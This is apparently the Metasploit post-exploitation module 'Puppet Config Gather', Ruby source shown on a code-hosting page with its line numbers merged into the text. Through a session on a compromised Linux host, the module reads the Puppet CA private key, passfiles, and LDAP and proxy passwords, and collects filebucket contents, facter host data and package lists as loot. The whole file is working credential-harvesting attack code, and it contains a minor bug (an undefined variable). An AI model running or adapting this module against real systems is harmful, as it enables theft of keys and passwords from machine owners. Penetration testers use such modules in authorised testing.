Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/puppet.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Puppet Config Gather',14'Description' => %q{15This module will grab Puppet config files, credentials, host information, and file buckets.16},17'License' => MSF_LICENSE,18'Author' => [19'h00die', # Metasploit Module20],21'Platform' => ['linux', 'unix'],22'SessionTypes' => ['shell', 'meterpreter'],23'References' => [24['URL', 'https://github.com/Tikam02/DevOps-Guide/blob/master/Infrastructure-provisioning/Puppet/puppet-commands.md']25],26'Notes' => {27'Stability' => [CRASH_SAFE],28'Reliability' => [],29'SideEffects' => []30}31)32)3334register_options(35[36OptBool.new('FILEBUCKET', [false, 'Gather files from filebucket', true]),37OptString.new('PUPPET', [false, 'Puppet executable location']),38OptString.new('FACTER', [false, 'Facter executable location'])39], self.class40)41end4243def puppet_exe44return @puppet if @puppet4546['/opt/puppetlabs/puppet/bin/puppet', datastore['PUPPET']].each do |exec|47next unless file?(exec)48next unless executable?(exec)4950@puppet = exec51end52@puppet53end5455def facter_exe56return @facter if @facter5758['/opt/puppetlabs/puppet/bin/facter', datastore['FACTER']].each do |exec|59next unless file?(exec)60next unless executable?(exec)6162@facter = exec63end64@facter65end6667def filebucket68server_list = cmd_exec("#{puppet_exe} filebucket server-list")6970print_good("Puppet Filebucket Servers: #{serverlist}") unless server_list.blank?7172file_list = cmd_exec("#{puppet_exe} filebucket -l list")73return if file_list.include? 'File not found'7475columns = ['Hash', 'Date', 'Filename', 'Loot location']76table = Rex::Text::Table.new('Header' => 'Puppet Filebucket Files', 'Indent' => 1, 'Columns' => columns)77file_list.lines.each do |file|78file = file.split(' ')79vprint_status("Retrieving filebucket contents: #{file[3]}")80file_content = cmd_exec("puppet filebucket -l get #{file[0]}")81loot = store_loot('puppet.filebucket', 'text/plain', session, file_content, file[3].split('/').last, 'Puppet filebucket stored file')82table << [file[0], "#{file[1]} #{file[2]}", file[3], loot]83end84print_good(table.to_s) unless table.rows.empty?85end8687def get_config88# we prefer to run `puppet config print` over getting puppet.conf since it contains env items as well merged in89config = cmd_exec("#{puppet_exe} config print")90loot = store_loot('puppet.conf', 'text/plain', session, config, 'puppet.conf', 'Puppet config file')91print_good("Stored puppet config to: #{loot}")92config_dict = {}93config.lines.each do |line|94line = line.split('=')95key = line[0].strip96value = line[1..].join('=').strip97config_dict[key] = value98end99100columns = ['Parameter', 'Value', 'Loot Location']101table = Rex::Text::Table.new('Header' => 'Puppet Configuration', 'Indent' => 1, 'Columns' => columns)102103# generic things we just want to print104['server', 'user'].each do |field|105next unless config_dict.key? field106107table << [field, config_dict[field], '']108end109110# files we want to retrieve111['cacert', 'cakey', 'passfile'].each do |field|112next unless config_dict.key? field113114unless file?(config_dict[field])115table << [field, config_dict[field], '']116break117end118119content = read_file(config_dict[field])120loot = store_loot(config_dict[field], 'text/plain', session, content, config_dict[field])121table << [field, config_dict[field], loot]122end123124# http proxy things, skip if password wasn't set as theres nothing of value there. not set is 'none' for these fields125if config_dict.key?('http_proxy_password') && config_dict['http_proxy_password'] != 'none'126['http_proxy_host', 'http_proxy_password', 'http_proxy_port', 'http_proxy_user'].each do |field|127table << [field, config_dict[field], '']128end129end130131# ldap things, skip if password wasn't set as theres nothing of value there.132if config_dict.key?('ldappassword') && !config_dict['ldappassword'].blank?133['ldappassword', 'ldapuser', 'ldapserver', 'ldapport', 'ldapbase', 'ldapclassattrs', 'ldapparentattr', 'ldapstackedattrs', 'ldapstring'].each do |field|134table << [field, config_dict[field], '']135end136end137print_good(table.to_s) unless table.rows.empty?138end139140def puppet_modules141columns = ['Module', 'Version']142table = Rex::Text::Table.new('Header' => 'Puppet Modules', 'Indent' => 1, 'Columns' => columns)143mods = cmd_exec("#{puppet_exe} module list")144loot = store_loot('puppet.modules', 'text/plain', session, mods, 'Puppet modules list')145print_good("Stored facter to: #{loot}")146mods.lines.each do |line|147next if line.start_with? '/' # showing paths of where things are installed to like '/etc/puppetlabs/code/modules (no modules installed)'148149mod = line.split(' ')150mod_name = mod[1]151mod_version = mod[2]152mod_version = mod_version.gsub('(', '').gsub(')', '')153table << [mod_name, mod_version]154end155print_good(table.to_s) unless table.rows.empty?156end157158def facter159facter_json = cmd_exec("#{facter_exe} -j")160facter_json = JSON.parse(facter_json)161loot = store_loot('puppet.facter', 'text/plain', session, facter_json, 'puppet.facter', 'Puppet facter')162print_good("Stored facter to: #{loot}")163# There is a LOT of data here, it's probably a good idea to just fill out the system details that go in hosts164host_info = { info: 'Running Puppet software configuration management tool' }165host_info[:os_name] = facter_json.dig('os', 'distro', 'description') unless facter_json.dig('os', 'distro', 'description').nil?166host_info[:os_sp] = facter_json.dig('os', 'distro', 'release', 'full') unless facter_json.dig('os', 'distro', 'release', 'full').nil?167host_info[:arch] = facter_json.dig('os', 'arch', 'hardware') unless facter_json.dig('os', 'arch', 'hardware').nil?168host_info[:name] = facter_json.dig('networking', 'fqdn') unless facter_json.dig('networking', 'fqdn').nil?169host_info[:virtual_host] = facter_json['virtual'] unless facter_json['virtual'].nil? || facter_json['virtual'] == 'physical'170facter_json.dig('networking', 'interfaces').each do |interface|171# this is a 2 item array, interface name is item 0 (eth0), and a hash is the other info172interface = interface[1]173next unless interface['operational_state'] == 'up'174175host_info[:mac] = interface['mac'] unless interface['mac'].nil?176host_info[:host] = interface['ip'] unless interface['ip'].nil?177report_host(host_info)178end179end180181def puppet_packages182packages = cmd_exec("#{puppet_exe} resource package")183loot = store_loot('puppet.packages', 'text/plain', session, packages, 'puppet.packages', 'Puppet packages')184print_good("Stored packages to: #{loot}")185columns = ['Package', 'Version', 'Source']186table = Rex::Text::Table.new('Header' => 'Puppet Packages', 'Indent' => 1, 'Columns' => columns)187# this is in puppet DSL, and likely to change. However here's a regex with test: https://rubular.com/r/1sGTiW2mBkislO188regex = /package\s*\{\s*'([^']+)':\s*ensure\s*=>\s*\[?'([^']+?)'\]?+,\s+.+?(?:.*?)\s*+provider\s+=>\s+'([^']+)',\n}/189matches = packages.scan(regex)190191matches.each do |match|192table << [match[0], match[1], match[2]]193end194print_good(table.to_s) unless table.rows.empty?195end196197def run198fail_with(Failure::NotFound, 'Puppet executable not found') if puppet_exe.nil?199get_config200puppet_modules201filebucket if datastore['FILEBUCKET']202facter203puppet_packages204end205end206207208